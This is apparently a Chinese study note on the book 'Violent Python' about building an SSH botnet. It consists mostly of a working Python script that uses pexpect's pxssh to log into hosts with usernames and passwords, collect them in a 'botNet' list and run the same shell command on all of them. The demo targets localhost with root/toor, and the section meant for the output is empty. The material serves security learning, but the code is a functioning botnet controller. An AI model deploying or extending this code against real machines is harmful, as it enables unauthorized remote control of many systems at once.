Python绝技读书笔记之构建SSH僵尸网络

root@kali:~# /etc/init.d/ssh start
[ ok ] Starting ssh (via systemctl): ssh.service.
root@kali:~# ps -e | grep ssh
  1452 ?        00:00:00 ssh-agent

  3522 ?        00:00:00 sshd

# -*- coding: utf-8 -*-

import argparse
from pexpect import pxssh

class Client():
    '''定义一个客户端'''
    def __init__(self, host, user, password):
        self.host     = host
        self.user     = user
        self.password = password
        self.session  = self.connect()
    '''连接'''
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Connecting Failed')
    '''发布命令'''
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

'''获取个体，并加入botNet名单中'''
def addClient(host, user, password):

    client = Client(host, user, password)
    botNet.append(client)

'''对僵尸网络发布命令'''
def botnetCommand(command):

    for client in botNet:# 在僵尸网络中遍历每一个个体
        output = client.send_command(command)
        print('[*] Output from ' + client.host)
        print('[+] ' + str(output) + '\n')

botNet = []
addClient('127.0.0.1', 'root', 'toor')
botnetCommand('uname -v')

运行结果: